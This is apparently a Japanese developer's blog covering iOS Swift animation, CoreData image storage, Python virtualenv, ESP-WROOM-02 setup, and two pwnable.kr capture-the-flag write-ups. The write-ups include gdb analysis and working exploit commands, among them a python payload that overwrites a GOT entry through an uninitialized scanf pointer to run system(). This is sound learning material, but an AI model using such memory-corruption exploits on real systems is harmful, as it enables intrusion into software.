iosのアニメーション(拡大・縮小)

アニメーションつけたくて色々調べた。
スケーリングのアニメーションの仕方はキータに載ってなかったので。

結果的に、動いたコードは

//
//  ViewController.swift
//  PhaseProgress
//
//  Created by b1u3 on 2018/09/17.
//  Copyright © 2018年 b1u3. All rights reserved.
//

import UIKit

class ViewController: UIViewController {
    
    lazy private var innerCircle = InnerCircle(frame: CGRect(x: 0, y: 0, width: 50, height: 50))
    lazy private var outerCircle = OuterCircle(frame: CGRect(x: 0, y: 0, width: 50, height: 50))
    var reverse = false
    var isAnimating = false

    @IBAction func Tap(_ sender: UITapGestureRecognizer) {
        if isAnimating == false {
            isAnimating = true
            UIView.animate(withDuration: 1.0, delay: 0.0, options: [], animations: {
                if !self.reverse {
                    self.innerCircle.transform = self.innerCircle.transform.scaledBy(x: 0.01, y: 0.01)
                }else {
                    self.innerCircle.transform = self.innerCircle.transform.scaledBy(x: 100.0, y: 100.0)
                }
            }, completion: {
                [] arg in
                self.reverse = !self.reverse
                self.isAnimating = false
            })
        }
    }
    
    override func viewDidLoad() {
        super.viewDidLoad()
        self.view.addSubview(self.innerCircle)
        self.view.addSubview(self.outerCircle)
    }
    
    override func viewDidLayoutSubviews() {
        super.viewDidLayoutSubviews()
        self.layoutRects()
    }

    override func didReceiveMemoryWarning() {
        super.didReceiveMemoryWarning()
        // Dispose of any resources that can be recreated.
    }
    
    private func createBlueRect()->UIView{
        let rect = UIView(frame: CGRect.zero)
        rect.backgroundColor = UIColor.blue
        return rect
    }
    
    private func createRedCircle()->UIView{
        let rect = UIView(frame: CGRect(x: 10, y: 20, width: 100, height: 100))
        rect.alpha = 0.5
        rect.layer.cornerRadius = 50
        rect.backgroundColor = UIColor.red
        return rect
    }

    private func layoutRects(){
        self.innerCircle.center.x = self.view.center.x
        self.innerCircle.center.y = self.view.center.y
        self.outerCircle.center.x = self.view.center.x
        self.outerCircle.center.y = self.view.center.y
    }

}

class InnerCircle: UIView {
    
    override init(frame: CGRect) {
        super.init(frame: frame)
        self.isOpaque = false
    }
    
    required init?(coder aDecoder: NSCoder) {
        super.init(coder: aDecoder)
    }

    override func draw(_ rect: CGRect) {
        let arc = UIBezierPath(arcCenter: CGPoint(x: rect.width/2, y: rect.height/2), radius: rect.width>rect.height ?rect.height/2*0.8 : rect.width/2*0.8, startAngle: 0, endAngle: 360, clockwise: true)
        UIColor.red.setFill()
        arc.fill()
    }
}

class OuterCircle: UIView {
    
    override init(frame: CGRect) {
        super.init(frame: frame)
        self.isOpaque = false
    }
    
    required init?(coder aDecoder: NSCoder) {
        super.init(coder: aDecoder)
    }

    override func draw(_ rect: CGRect) {
        let arc = UIBezierPath(arcCenter: CGPoint(x: rect.width/2, y: rect.height/2), radius: rect.width > rect.height ? rect.height/2*0.8 : rect.width/2*0.8, startAngle: 0, endAngle: 360, clockwise: true)
        UIColor.red.setStroke()
        arc.lineWidth = 1
        arc.stroke()
    }

}

こんな感じになった。InnerCircleが拡大、縮小するアニメーション。調べたのはUIBezierPathとAffinTransform。
scaledByで0を指定するとバグる。durationが効かなくなるので注意する。

今日明日中に、InnerCircleとOuterCircleをまとめてViewにする予定。

CoreDataと画像(UIImage)

iphoneアプリを試すがてらバリバリ作っているので、CoreDataの話です。

画像をUIImageで取ってきた後、UIImageJPEGRepresentationとかでバイナリにすれば、CoreDataに保存できることは検索すると出てくる。


んで、こっからは自分で試したことなんだけど、UIImageJPEGRepresentationはNSDataなので、UIImage(data: Data)で復元する際に合わない。

でも、どうやら、NSDataとDataは互換性があるみたい。
なので、CoreDataへの保存は

let appDelegate = UIApplication.shared.delegate as! AppDelegate
        let context = appDelegate.persistentContainer.viewContext
        let entity = NSEntityDescription.entity(forEntityName: "Book", in: context)
        self.book = NSManagedObject(entity: entity!, insertInto: context)
        book!.setValue(UUID().uuidString, forKey: "uuid")
        book!.setValue(self.textField.text, forKey: "name")
        book!.setValue(UIImageJPEGRepresentation(self.photoImageView.image!, 1), forKey: "image")
        do {
            try context.save()
        }catch{
            fatalError("Managed Object Saving Error.")
        }

こうで、復元は

let books:[NSManagedObject] = []
...
override func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {
        let cell = tableView.dequeueReusableCell(withIdentifier: "BookTableViewCell", for: indexPath) as! BookTableViewCell
        cell.bookLabel.text = self.books[indexPath.row].value(forKey: "name") as? String
        let imageData = self.books[indexPath.row].value(forKey: "image") as? Data
        if let data = imageData, let img = UIImage(data: data) {
            cell.bookimageView.image = img
        }else{
            fatalError("Can't convert to UIImage.")
        }

        return cell
    }

こんな風にDataでキャストして大丈夫みたい。
テンプレート的には、UIImageを取ってくる、UIImage◯◯◯Representationで変換、CoreDataにぶち込む、CoreDataからDataで持ってきて、これをUIImageのdataイニシャライザでUIImageに戻すという感じかな。

guard letとif letの違い

アイホンホホアプリとかでswift書いてて思ったので。

swiftしてると言わずと知れたguard let if letが出てくる。

func guardFunc() {
		guard let hoge = Int("2020") else {
				print("hoge is nil")
				return
		}
		print("\(hoge)")
}

guardFunc()

if let hoge = Int("2020") {
		print("\(hoge)")
}else{
		print("hoge is nil")
}

if let でアンラップするのに比べて、guardは単純にオプショナルをアンラップするのに使う。
if let はその後のブロックでしか使えない。単純なアンラップだけでif letを使うと無駄にネストしてしまうのでよくない。
そもそもguard 文の中では、returnとかしないといけないので、guard が出て失敗したら処理がここで止まるんだなっていうことでコードが見やすくなる。

PyCharmで作ったvirtualenv環境をターミナルでも使う方法

virtualenv使ってる人ならすぐわかるんだろうけど、ちょっと忘れそうなので、備忘録。
つーか、普通のvirtualenvの使い方なんだけどな、ガハハ


デフォルトの状態でPyCharmを使っていたら、~/.virtualenvsに仮想環境のディレクトリができると思う。
なので、

$ source ~/.virtualenvs/venvironment/bin/activate

でアクティベートできる。
仮想環境から脱する時は、

$ deactivate

pwnable.kr(6) ~random~

ctf布教かつ地力上げ用の記事6つ目です。

pwnable.kr

http://pwnable.kr/play.php


今回はどちゃくそ簡単なやつでした。1点問題。

$ ssh random@pwnable.kr -p2222
random@ubuntu:~$ ls
flag  random  random.c
random@ubuntu:~$ cat random.c
#include <stdio.h>

int main(){
	unsigned int random;
	random = rand();	// random value!

	unsigned int key=0;
	scanf("%d", &key);

	if( (key ^ random) == 0xdeadbeef ){
		printf("Good!\n");
		system("/bin/cat flag");
		return 0;
	}

	printf("Wrong, maybe you should try 2^32 cases.\n");
	return 0;
}

random@ubuntu:~$ 

なるほど。書き込みにもおかしな点はなさそう。keyとrandomをxorで合わせれば、フラグは出る。
randのアルゴリズムを推測するのか、別の方法があるのかこの時点ではわからなかった。
とりあえず、rand関数について、google先生に尋ねる。得られた情報は、

rand を使って発生させた擬似乱数は srand関数 で乱数の発生系列を変更しない限り、実行のたびに同じ擬似乱数を発生します。

なるほどね。randomは実行ごとに変わらないみたい。
gdbで値を調べて、排他的論理和して、与えるkeyを出す。

random@ubuntu:~$ gdb -q ./random
Reading symbols from ./random...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
   0x00000000004005f4 <+0>:	push   %rbp
   0x00000000004005f5 <+1>:	mov    %rsp,%rbp
   0x00000000004005f8 <+4>:	sub    $0x10,%rsp
   0x00000000004005fc <+8>:	mov    $0x0,%eax
   0x0000000000400601 <+13>:	callq  0x400500 <rand@plt>
   0x0000000000400606 <+18>:	mov    %eax,-0x4(%rbp)
   0x0000000000400609 <+21>:	movl   $0x0,-0x8(%rbp)
   0x0000000000400610 <+28>:	mov    $0x400760,%eax
   0x0000000000400615 <+33>:	lea    -0x8(%rbp),%rdx
   0x0000000000400619 <+37>:	mov    %rdx,%rsi
   0x000000000040061c <+40>:	mov    %rax,%rdi
   0x000000000040061f <+43>:	mov    $0x0,%eax
   0x0000000000400624 <+48>:	callq  0x4004f0 <__isoc99_scanf@plt>
   0x0000000000400629 <+53>:	mov    -0x8(%rbp),%eax
   0x000000000040062c <+56>:	xor    -0x4(%rbp),%eax
   0x000000000040062f <+59>:	cmp    $0xdeadbeef,%eax
   0x0000000000400634 <+64>:	jne    0x400656 <main+98>
   0x0000000000400636 <+66>:	mov    $0x400763,%edi
   0x000000000040063b <+71>:	callq  0x4004c0 <puts@plt>
   0x0000000000400640 <+76>:	mov    $0x400769,%edi
   0x0000000000400645 <+81>:	mov    $0x0,%eax
   0x000000000040064a <+86>:	callq  0x4004d0 <system@plt>
---Type <return> to continue, or q <return> to quit---q
Quit
(gdb) b *0x400606
Breakpoint 1 at 0x400606
(gdb) r
Starting program: /home/random/random 

Breakpoint 1, 0x0000000000400606 in main ()
(gdb) p/x $eax
$1 = 0x6b8b4567

これがrandom変数に格納される値。
ここで、

A xor B = C のとき、

B = A xor C なので、(適当なサンプル出せばわかる)

(gdb) p/u $eax^0xdeadbeef
$2 = 3039230856

これを入力する。
したがって、入力を 1 行にすると

random@ubuntu:~$ echo 3039230856 | ./random

で出た。
そういえば、セキュリティキャンプのツイートが最近流れてましたね。めちゃめちゃたのしそうでした。来年は頑張りたいです。

pwnable.kr(5) ~passcode~

pwnable.krの5個目の記事です。

http://pwnable.kr/play.php

リモートにログインして解くタイプですね。

ssh ssh passcode@pwnable.kr -p2222

パスワードはguest。

passcode@ubuntu:~$ ls
flag  passcode	passcode.c
passcode@ubuntu:~$ cat passcode.c

で、出たソースコード

#include <stdio.h>
#include <stdlib.h>

void login(){
	int passcode1;
	int passcode2;

	printf("enter passcode1 : ");
	scanf("%d", passcode1);
	fflush(stdin);

	// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
	printf("enter passcode2 : ");
        scanf("%d", passcode2);

	printf("checking...\n");
	if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
		exit(0);
        }
}

void welcome(){
	char name[100];
	printf("enter you name : ");
	scanf("%100s", name);
	printf("Welcome %s!\n", name);
}

int main(){
	printf("Toddler's Secure Login System 1.0 beta.\n");

	welcome();
	login();

	// something after login...
	printf("Now I can safely trust you that you have credential :)\n");
	return 0;	
}

scanfの使い方がおかしいね。コメントをみると、
「ハ!母ちゃんが32bitのブルートフォース脆弱性があるって言ってたぜ!!」(意訳)
って感じ。

多分、これが言ってるのは、ASLR(Address Space Layout Randomization)で総当たりができるっていうことだと思う。

ASLRはセグメントのアドレスを実行ごとにランダムに配置するやつ。ただし、コードセグメントは不変。

32bitだとこのアドレスを決め打ちして、現実的な時間で当てることができる、という話だと思われる。だけど、今回は、使いません。

passcode@ubuntu:~$ readelf -S ./passcode
There are 30 section headers, starting at offset 0x1154:

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .interp           PROGBITS        08048154 000154 000013 00   A  0   0  1
  [ 2] .note.ABI-tag     NOTE            08048168 000168 000020 00   A  0   0  4
  [ 3] .note.gnu.build-i NOTE            08048188 000188 000024 00   A  0   0  4
  [ 4] .gnu.hash         GNU_HASH        080481ac 0001ac 000024 04   A  5   0  4
  [ 5] .dynsym           DYNSYM          080481d0 0001d0 0000c0 10   A  6   1  4
  [ 6] .dynstr           STRTAB          08048290 000290 00009e 00   A  0   0  1
  [ 7] .gnu.version      VERSYM          0804832e 00032e 000018 02   A  5   0  2
  [ 8] .gnu.version_r    VERNEED         08048348 000348 000040 00   A  6   1  4
  [ 9] .rel.dyn          REL             08048388 000388 000010 08   A  5   0  4
  [10] .rel.plt          REL             08048398 000398 000048 08   A  5  12  4
  [11] .init             PROGBITS        080483e0 0003e0 00002e 00  AX  0   0  4
  [12] .plt              PROGBITS        08048410 000410 0000a0 04  AX  0   0 16
  [13] .text             PROGBITS        080484b0 0004b0 00029c 00  AX  0   0 16
  [14] .fini             PROGBITS        0804874c 00074c 00001a 00  AX  0   0  4
  [15] .rodata           PROGBITS        08048768 000768 0000e7 00   A  0   0  4
  [16] .eh_frame_hdr     PROGBITS        08048850 000850 000044 00   A  0   0  4
  [17] .eh_frame         PROGBITS        08048894 000894 000108 00   A  0   0  4
  [18] .ctors            PROGBITS        08049f14 000f14 000008 00  WA  0   0  4
  [19] .dtors            PROGBITS        08049f1c 000f1c 000008 00  WA  0   0  4
  [20] .jcr              PROGBITS        08049f24 000f24 000004 00  WA  0   0  4
  [21] .dynamic          DYNAMIC         08049f28 000f28 0000c8 08  WA  6   0  4
  [22] .got              PROGBITS        08049ff0 000ff0 000004 04  WA  0   0  4
  [23] .got.plt          PROGBITS        08049ff4 000ff4 000030 04  WA  0   0  4
  [24] .data             PROGBITS        0804a024 001024 000008 00  WA  0   0  4
  [25] .bss              NOBITS          0804a02c 00102c 00000c 00  WA  0   0  4
  [26] .comment          PROGBITS        00000000 00102c 00002a 01  MS  0   0  1
  [27] .shstrtab         STRTAB          00000000 001056 0000fc 00      0   0  1
  [28] .symtab           SYMTAB          00000000 001604 0004a0 10     29  45  4
  [29] .strtab           STRTAB          00000000 001aa4 000299 00      0   0  1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings)
  I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
  O (extra OS processing required) o (OS specific), p (processor specific)

すべてのセクションの表示。.got.pltセクションをみてみると、WA、つまりW(write)が入ってるのでこのセクションは書き込めるわけだ。
ところで.got.pltセクションは外部の共有ライブラリに飛ぶ際に使われるテーブルで、たとえば、

passcode@ubuntu:~$ gdb -q ./passcode
Reading symbols from ./passcode...(no debugging symbols found)...done.
(gdb) disas welcome
Dump of assembler code for function welcome:
   0x08048609 <+0>:	push   %ebp
   0x0804860a <+1>:	mov    %esp,%ebp
   0x0804860c <+3>:	sub    $0x88,%esp
   0x08048612 <+9>:	mov    %gs:0x14,%eax
   0x08048618 <+15>:	mov    %eax,-0xc(%ebp)
   0x0804861b <+18>:	xor    %eax,%eax
   0x0804861d <+20>:	mov    $0x80487cb,%eax
   0x08048622 <+25>:	mov    %eax,(%esp)
   0x08048625 <+28>:	call   0x8048420 <printf@plt>
   0x0804862a <+33>:	mov    $0x80487dd,%eax
   0x0804862f <+38>:	lea    -0x70(%ebp),%edx
   0x08048632 <+41>:	mov    %edx,0x4(%esp)
   0x08048636 <+45>:	mov    %eax,(%esp)
   0x08048639 <+48>:	call   0x80484a0 <__isoc99_scanf@plt>
   0x0804863e <+53>:	mov    $0x80487e3,%eax
   0x08048643 <+58>:	lea    -0x70(%ebp),%edx
   0x08048646 <+61>:	mov    %edx,0x4(%esp)
   0x0804864a <+65>:	mov    %eax,(%esp)
   0x0804864d <+68>:	call   0x8048420 <printf@plt>
   0x08048652 <+73>:	mov    -0xc(%ebp),%eax
   0x08048655 <+76>:	xor    %gs:0x14,%eax
   0x0804865c <+83>:	je     0x8048663 <welcome+90>
---Type <return> to continue, or q <return> to quit---q
Quit

のprintfを呼んでいるところ

   0x08048625 <+28>:	call   0x8048420 <printf@plt>

こことかを見てみると、0x8048420っていうのはobjdumpから.pltセクションであることがわかる。

passcode@ubuntu:~$ objdump -j .plt -d ./passcode
...
08048420 <printf@plt>:
 8048420:	ff 25 00 a0 04 08    	jmp    *0x804a000
 8048426:	68 00 00 00 00       	push   $0x0
 804842b:	e9 e0 ff ff ff       	jmp    8048410 <_init+0x30>

この部分をみると、1行目でさらに、0x804a000に保存されているアドレスにジャンプしていることがわかる。
じゃあ、0x804a000ってどこだっていう話になるんだけど、これが.gotテーブルなわけ。

passcode@ubuntu:~$ objdump -j .got.plt -d ./passcode

./passcode:     file format elf32-i386


Disassembly of section .got.plt:

08049ff4 <_GLOBAL_OFFSET_TABLE_>:
 8049ff4:	28 9f 04 08 00 00 00 00 00 00 00 00 26 84 04 08     (...........&...
 804a004:	36 84 04 08 46 84 04 08 56 84 04 08 66 84 04 08     6...F...V...f...
 804a014:	76 84 04 08 86 84 04 08 96 84 04 08 a6 84 04 08     v...............

これを見ると、printfは結局、0x08048426に飛んでることがわかる。
さっきも言った通り、このセクションは書き込み可能。
したがって、これのどれかをうまく書き換えれば、任意の場所に飛ばせることができる。ところで、なぜこのセクションが書き込み可能なのかということは

リンカ・ローダ開発テクニックとか、セキュリティコンテストチャレンジブックとかに載ってたと思う。リンクするときに変えられないとだめだからみたいな話だった気がする。

あとは、gdbでちまちまと考えていく。

passcode@ubuntu:~$ gdb -q  ./passcode
Reading symbols from ./passcode...(no debugging symbols found)...done.
(gdb) b welcome
Breakpoint 1 at 0x8048612
(gdb) b login
Breakpoint 2 at 0x804856a
(gdb) r
Starting program: /home/passcode/passcode 
Toddler's Secure Login System 1.0 beta.

Breakpoint 1, 0x08048612 in welcome ()
(gdb) disas welcome
Dump of assembler code for function welcome:
   0x08048609 <+0>:	push   %ebp
   0x0804860a <+1>:	mov    %esp,%ebp
   0x0804860c <+3>:	sub    $0x88,%esp
=> 0x08048612 <+9>:	mov    %gs:0x14,%eax
   0x08048618 <+15>:	mov    %eax,-0xc(%ebp)
   0x0804861b <+18>:	xor    %eax,%eax
   0x0804861d <+20>:	mov    $0x80487cb,%eax
   0x08048622 <+25>:	mov    %eax,(%esp)
   0x08048625 <+28>:	call   0x8048420 <printf@plt>
   0x0804862a <+33>:	mov    $0x80487dd,%eax
   0x0804862f <+38>:	lea    -0x70(%ebp),%edx
   0x08048632 <+41>:	mov    %edx,0x4(%esp)
   0x08048636 <+45>:	mov    %eax,(%esp)
   0x08048639 <+48>:	call   0x80484a0 <__isoc99_scanf@plt>
   0x0804863e <+53>:	mov    $0x80487e3,%eax
   0x08048643 <+58>:	lea    -0x70(%ebp),%edx
   0x08048646 <+61>:	mov    %edx,0x4(%esp)
   0x0804864a <+65>:	mov    %eax,(%esp)
   0x0804864d <+68>:	call   0x8048420 <printf@plt>
   0x08048652 <+73>:	mov    -0xc(%ebp),%eax
   0x08048655 <+76>:	xor    %gs:0x14,%eax
   0x0804865c <+83>:	je     0x8048663 <welcome+90>
---Type <return> to continue, or q <return> to quit---q
Quit
(gdb) p/x $esp
$1 = 0xfff33dd0
(gdb) p/x $ebp
$2 = 0xfff33e58
(gdb) c
Continuing.
enter you name : aaaaaaaa
Welcome aaaaaaaa!

Breakpoint 2, 0x0804856a in login ()
(gdb) disas login
Dump of assembler code for function login:
   0x08048564 <+0>:	push   %ebp
   0x08048565 <+1>:	mov    %esp,%ebp
   0x08048567 <+3>:	sub    $0x28,%esp
=> 0x0804856a <+6>:	mov    $0x8048770,%eax
   0x0804856f <+11>:	mov    %eax,(%esp)
   0x08048572 <+14>:	call   0x8048420 <printf@plt>
   0x08048577 <+19>:	mov    $0x8048783,%eax
   0x0804857c <+24>:	mov    -0x10(%ebp),%edx
   0x0804857f <+27>:	mov    %edx,0x4(%esp)
   0x08048583 <+31>:	mov    %eax,(%esp)
   0x08048586 <+34>:	call   0x80484a0 <__isoc99_scanf@plt>
   0x0804858b <+39>:	mov    0x804a02c,%eax
   0x08048590 <+44>:	mov    %eax,(%esp)
   0x08048593 <+47>:	call   0x8048430 <fflush@plt>
   0x08048598 <+52>:	mov    $0x8048786,%eax
   0x0804859d <+57>:	mov    %eax,(%esp)
   0x080485a0 <+60>:	call   0x8048420 <printf@plt>
   0x080485a5 <+65>:	mov    $0x8048783,%eax
   0x080485aa <+70>:	mov    -0xc(%ebp),%edx
   0x080485ad <+73>:	mov    %edx,0x4(%esp)
   0x080485b1 <+77>:	mov    %eax,(%esp)
   0x080485b4 <+80>:	call   0x80484a0 <__isoc99_scanf@plt>
---Type <return> to continue, or q <return> to quit---q
Quit
(gdb) p/x $esp
$3 = 0xfff33e30
(gdb) p/x $ebp
$4 = 0xfff33e58

$ebpが同じであることがわかる。そりゃ、mainで関数を連続呼び出ししているからね。念のため。スタックポインタは表示した意味ないです。

scanfは呼び出しの際にeaxにフォーマット文字列の先頭アドレス、この場合はedxに、第二引数のアドレスが格納されて、スタックにプッシュされて呼び出されていることがわかる。

また、welcomeでは、nameをスタック内に取っているので、書き込んだものは、login呼び出し内で残されるということもわかる。

まず、welcome内では、

(gdb) disas welcome
Dump of assembler code for function welcome:
   0x08048609 <+0>:	push   %ebp
   0x0804860a <+1>:	mov    %esp,%ebp
   0x0804860c <+3>:	sub    $0x88,%esp
   0x08048612 <+9>:	mov    %gs:0x14,%eax
   0x08048618 <+15>:	mov    %eax,-0xc(%ebp)
   0x0804861b <+18>:	xor    %eax,%eax
   0x0804861d <+20>:	mov    $0x80487cb,%eax
   0x08048622 <+25>:	mov    %eax,(%esp)
   0x08048625 <+28>:	call   0x8048420 <printf@plt>
   0x0804862a <+33>:	mov    $0x80487dd,%eax
   0x0804862f <+38>:	lea    -0x70(%ebp),%edx
   0x08048632 <+41>:	mov    %edx,0x4(%esp)
   0x08048636 <+45>:	mov    %eax,(%esp)
   0x08048639 <+48>:	call   0x80484a0 <__isoc99_scanf@plt>
   0x0804863e <+53>:	mov    $0x80487e3,%eax
   0x08048643 <+58>:	lea    -0x70(%ebp),%edx
   0x08048646 <+61>:	mov    %edx,0x4(%esp)
   0x0804864a <+65>:	mov    %eax,(%esp)
   0x0804864d <+68>:	call   0x8048420 <printf@plt>
   0x08048652 <+73>:	mov    -0xc(%ebp),%eax
   0x08048655 <+76>:	xor    %gs:0x14,%eax
   0x0804865c <+83>:	je     0x8048663 <welcome+90>
---Type <return> to continue, or q <return> to quit---
   0x0804865e <+85>:	call   0x8048440 <__stack_chk_fail@plt>
   0x08048663 <+90>:	leave  
   0x08048664 <+91>:	ret    
End of assembler dump.

のscanf直前の

   0x0804862f <+38>:	lea    -0x70(%ebp),%edx

ここで、edxがebp-0x70になることがわかる。ここがnameの先頭。

次に、

(gdb) disas login
Dump of assembler code for function login:
   0x08048564 <+0>:	push   %ebp
   0x08048565 <+1>:	mov    %esp,%ebp
   0x08048567 <+3>:	sub    $0x28,%esp
   0x0804856a <+6>:	mov    $0x8048770,%eax
   0x0804856f <+11>:	mov    %eax,(%esp)
   0x08048572 <+14>:	call   0x8048420 <printf@plt>
   0x08048577 <+19>:	mov    $0x8048783,%eax
   0x0804857c <+24>:	mov    -0x10(%ebp),%edx
   0x0804857f <+27>:	mov    %edx,0x4(%esp)
   0x08048583 <+31>:	mov    %eax,(%esp)
   0x08048586 <+34>:	call   0x80484a0 <__isoc99_scanf@plt>
   0x0804858b <+39>:	mov    0x804a02c,%eax
   0x08048590 <+44>:	mov    %eax,(%esp)
   0x08048593 <+47>:	call   0x8048430 <fflush@plt>
   0x08048598 <+52>:	mov    $0x8048786,%eax
   0x0804859d <+57>:	mov    %eax,(%esp)
   0x080485a0 <+60>:	call   0x8048420 <printf@plt>
   0x080485a5 <+65>:	mov    $0x8048783,%eax
   0x080485aa <+70>:	mov    -0xc(%ebp),%edx
   0x080485ad <+73>:	mov    %edx,0x4(%esp)
   0x080485b1 <+77>:	mov    %eax,(%esp)
   0x080485b4 <+80>:	call   0x80484a0 <__isoc99_scanf@plt>
---Type <return> to continue, or q <return> to quit---
   0x080485b9 <+85>:	movl   $0x8048799,(%esp)
   0x080485c0 <+92>:	call   0x8048450 <puts@plt>
   0x080485c5 <+97>:	cmpl   $0x528e6,-0x10(%ebp)
   0x080485cc <+104>:	jne    0x80485f1 <login+141>
   0x080485ce <+106>:	cmpl   $0xcc07c9,-0xc(%ebp)
   0x080485d5 <+113>:	jne    0x80485f1 <login+141>
   0x080485d7 <+115>:	movl   $0x80487a5,(%esp)
   0x080485de <+122>:	call   0x8048450 <puts@plt>
   0x080485e3 <+127>:	movl   $0x80487af,(%esp)
   0x080485ea <+134>:	call   0x8048460 <system@plt>
   0x080485ef <+139>:	leave  
   0x080485f0 <+140>:	ret    
   0x080485f1 <+141>:	movl   $0x80487bd,(%esp)
   0x080485f8 <+148>:	call   0x8048450 <puts@plt>
   0x080485fd <+153>:	movl   $0x0,(%esp)
   0x08048604 <+160>:	call   0x8048480 <exit@plt>
End of assembler dump.

この1回目のscanfの前の部分を考えてみると、同様に、edx=*(ebp-0x10)となっていることがわかる。よって、これが、passcode1 の先頭アドレス。この中にあるアドレスにscanfが書き込むわけだ。ここに、welcomeで書き込んでまだ残っている値を利用して、scanfに飛びたいアドレスを書き込ませる。

今回は 1 回目のscanfのあとのfflushのGOTテーブル(0x804a004)を変更して、出力部分に飛ぶ。飛びたいところは、system呼ぶ前の引数設定の場所0x080485e3なので、

python -c "print 'a'*(0x70-0x10)+'\x04\xa0\x04\x08\n'+str(0x80485e3)" | ./passcode

ESP-WROOM-02 動作確認 on OS X

前々から使いたかったESP系なんですけど、やっと使いはじめることができました。
使ったのはESP-WROOM-02なんですけど、すでに後継の32が出てるんですよね。
両方とも前に買ったんですけど、PICいじってたら自分の中で忘れ去られそうになってました。これから使うとしたら、32一択のような気がするんですけど、初めてなので、ぶっこわしてもいいかなという気持ちで02使います。使ったUSB-serial通信モジュールは秋月のFT232RLです。

akizukidenshi.com

あと02も

akizukidenshi.com

10kΩ抵抗も 4 個使いました。

環境

OS X(High Sierra)
Arduino IDE 1.8.5

FT232RLの設定

まず、FT232RLのドライバをインストールする。FT232Rのドライバは 2 つあるんだけど、VCPドライバを今回はダウンロードする。このドライバで仮想COMポートを作る。リンク↓

www.ftdichip.com

んで、秋月のFT232RLのデータシートみて、電源を供給する。
ジャンパピンは J1 の 1 と 2 をショートさせて、外部から電源を供給するようにした。バスパワーから取って電流が足りなくなると嫌なので。平均消費電流80mAらしい。

配線例

f:id:b1u3:20180815213815j:plain

右側の - はGND + は 3.3 V。

電源繋いで、PCと繋いで、ドライバがちゃんと入っていれば、ターミナルから

% ls /dev/tty.*
/dev/tty.usbserial-********

で新しいデバイスが出てる。

ESP-WROOM-02

フラッシュブートモードでATコマンドを実行できるようにする。

なので、
IO0 → HIGH
IO2 → HIGH
IO15 → LOW
EN → HIGH
TXD → FT232RLのRXD
RXD → FT232RLのTXD
3V3 → HIGH
GND → GND
RST → スイッチ(プルアップ)

とする。HIGH の方は一応 10kΩの抵抗つける。こんな感じ。

f:id:b1u3:20180815215330j:plain

Arduino IDE

ツール→シリアルポート→/dev/cu.usbserial-********を選択。
ツール→シリアルモニタを選択。

f:id:b1u3:20180815220338p:plain

改行をCR,LRにしてボーレートを115200にする。
電源入れてRF232RLを認識してる時点で、電源が入っているはずなので、RSTに繋いだボタンをおす。離した瞬間に、シリアルモニタに文字化けされた記号とreadyの文字列がある。

f:id:b1u3:20180815220721p:plain

シリアルモニタにコマンドを打ち込める。

AT
AT+GMR

で改行とバージョンが出ればOk。

f:id:b1u3:20180815221327p:plain

ATコマンドの種類があんましわかってないので、調べる予定。